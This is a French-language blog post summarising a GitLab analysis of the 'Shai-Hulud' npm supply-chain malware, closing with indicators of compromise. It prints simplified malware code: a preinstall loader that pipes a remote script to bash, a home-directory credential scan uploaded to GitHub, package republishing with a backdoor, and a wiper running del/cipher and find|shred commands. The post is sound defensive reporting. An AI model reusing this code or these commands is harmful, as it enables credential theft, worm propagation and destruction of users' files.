Logo JED Agency

GitLab découvre une attaque généralisée dans des dépendances NPM


Des recherches de vulnérabilité menées par GitLab ont conduit à la découverte d'une attaque malware active à grande échelle dans l'écosystème NPM.


Une version évoluée du malware qui s'est fait baptiser "Shai-Hulud" a compromis une centaine de paquets et plus de 25 000 depôts Github.


Un code qui s'exécute pendant l'installation dans le but de voler des identifiants de connexion et si l'opération échoue celui-ci supprime tous les fichiers personnels de l'utilisateur.


L'attaque commence dès l'installation d'un paquet infecté via NPM



// This file gets added to victim's packages as setup_bun.js
#!/usr/bin/env node
async function downloadAndSetupBun() {
  // Downloads and installs bun
  let command = process.platform === 'win32' 
    ? 'powershell -c "irm bun.sh/install.ps1|iex"'
    : 'curl -fsSL https://bun.sh/install | bash';
  
  execSync(command, { stdio: 'ignore' });
  
  // Runs the actual malware
  runExecutable(bunPath, ['bun_environment.js']);
}

Le malware infiltre les systèmes grâce à un processus de chargement en plusieurs étapes soigneusement conçu.  Les paquets infectés contiennent un fichier modifié package.json avec un script de préinstallation pointant vers setup_bun.js permettant d'installer Bun.


Bun étant ici un environnement d'exécution JavaScript, un gestionnaire de paquets et un outil d'exécution de tests conçu pour remplacer directement Node.js car plus rapide et performant. Donc à première vue un outil légitime. Cependant, son véritable objectif est d'établir l'environnement d'exécution du malware.


Tout se joue à la dernière ligne du code.


Le chargeur télécharge ou localise le runtime Bun sur le système, puis exécute le package fourni le payload "bun_environment.js", un fichier obscurci de 10 Mo assez volumineux pour éviter une inspection occasionnelle mais assez léger pour faciliter le chargement rapide.


Récolte des crédentials



async function scanFilesystem() {
  let scanner = new Trufflehog();
  await scanner.initialize();
  
  // Scan user's home directory for secrets
  let findings = await scanner.scanFilesystem(os.homedir());
  
  // Upload findings to exfiltration repo
  await github.saveContents("truffleSecrets.json", 
    JSON.stringify(findings));
}

Ensuite une fois exécuté, le malware commence à récolter des credentials ou données d'identifications en tout genre:

- Jetons GitHub 

- Identifiants cloud

- Jetons npm

Et toute cette Analyse du système de fichiers est possible grâce à Trufflehog un outil de sécurité légitime servant à numériser des credentials via une analyse de l'intégralité de vos dépôts de code. Outil téléchargé au préalable et qui après analyse s'envoi les résultats dans un fichier json sur son dépôt Github.


Et enfin avec les jetons volés le malware télécharge les packages maintenus par la victime pour ensuite y charger le même malware et les réinjecter sur Github comme version incrémentée ou mise à jour des packages. 



async function updatePackage(packageInfo) {
  // Download original package
  let tarball = await fetch(packageInfo.tarballUrl);
  
  // Extract and modify package.json
  let packageJson = JSON.parse(await readFile("package.json"));
  
  // Add malicious preinstall script
  packageJson.scripts.preinstall = "node setup_bun.js";
  
  // Increment version
  let version = packageJson.version.split(".").map(Number);
  version[2] = (version[2] || 0) + 1;
  packageJson.version = version.join(".");
  
  // Bundle backdoor installer
  await writeFile("setup_bun.js", BACKDOOR_CODE);
  
  // Repackage and publish
  await Bun.$`npm publish ${modifiedPackage}`.env({
    NPM_CONFIG_TOKEN: this.token
  });
}



Le dead man's switch



// CRITICAL: Token validation failure triggers destruction
async function aL0() {
  let githubApi = new dq();
  let npmToken = process.env.NPM_TOKEN || await findNpmToken();
  
  // Try to find or create GitHub access
  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {
    let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos
    
    if (!fetchedToken) {  // No GitHub access possible
      if (npmToken) {
        // Fallback to NPM propagation only
        await El(npmToken);
      } else {
        // DESTRUCTION TRIGGER: No GitHub AND no NPM access
        console.log("Error 12");
        if (platform === "windows") {
          // Attempts to delete all user files and overwrite disk sectors
          Bun.spawnSync(["cmd.exe", "/c", 
            "del /F /Q /S "%USERPROFILE%*" && " +
            "for /d %%i in ("%USERPROFILE%*") do rd /S /Q "%%i" & " +
            "cipher /W:%USERPROFILE%"  // Overwrite deleted data
          ]);
        } else {
          // Attempts to shred all writable files in home directory
          Bun.spawnSync(["bash", "-c", 
            "find "$HOME" -type f -writable -user "$(id -un)" -print0 | " +
            "xargs -0 -r shred -uvz -n 1 && " +  // Overwrite and delete
            "find "$HOME" -depth -type d -empty -delete"  // Remove empty dirs
          ]);
        }
        process.exit(0);
      }
    }
  }
}

Comme on l'a dit plutôt l'analyse a aussi révélée un payload de destruction ayant pour but de protéger l'infrastructure du malware contre les tentatives de retrait.


Le malware surveille en permanence son accès à GitHub (pour l'exfiltration) et à npm (pour la propagation) et dans le cas ou il perd simultanément l’accès aux deux canaux cela déclenche une destruction immédiate des données sur la machine compromise. Sous Windows, il tente de supprimer tous les fichiers utilisateur et d'écraser les secteurs du disque. Sur les systèmes Unix, il utilise shred pour écraser les fichiers avant leur suppression, rendant la récupération presque impossible.



Comment savoir si tu es infecté ?


Pour cela tu devras vérfier que tu n'as pas l'un de ces éléments dans tes dépendances de developpement :

  • Fichiers : 
bun_environment.js
.truffler-cache/trufflehog
.truffler-cache/trufflehog.exe
  • Dossiers : 
.truffler-cache/
.truffler-cache/extract/
  • Processus : 
shred -uvz -n 1
cipher /W:%USERPROFILE%
  • Commande :
curl -fsSL https://bun.sh/install | bash
powershell -c "irm bun.sh/install.ps1|iex"




Pour avoir plus de détails sur le sujet tu peux te rendre ici :

GitLab Report an NPM Attack



Créé par

Photo Samuel Teubissi

Samuel Teubissi

Développeur FullStack et chargé Technique JED Agency

Mentions

Photo Samuel Teubissi

GItLab

🎓 Académie JED

L’Académie JED arrive bientôt :
Un espace de formation avec des astuces concrètes, des méthodes éprouvées et des retours d’expérience réels directement issus du travail quotidien de nos développeurs et designers.

Notre objectif est simple :

  • Transmettre ce que nous avons appris sur le terrain

  • Partager les techniques qui fonctionnent vraiment

  • Aider une nouvelle génération de talents à s’affirmer dans le design, le développement et la création digitale.

Reste connecté.
Apprendre. Créer. Progresser.



Être informé en avance ?

Rejoins dès maintenant la liste des membres pré-enregistrés et profite d'avantages exclusifs comme des fichiers préconfigurés et autres avant tout le monde !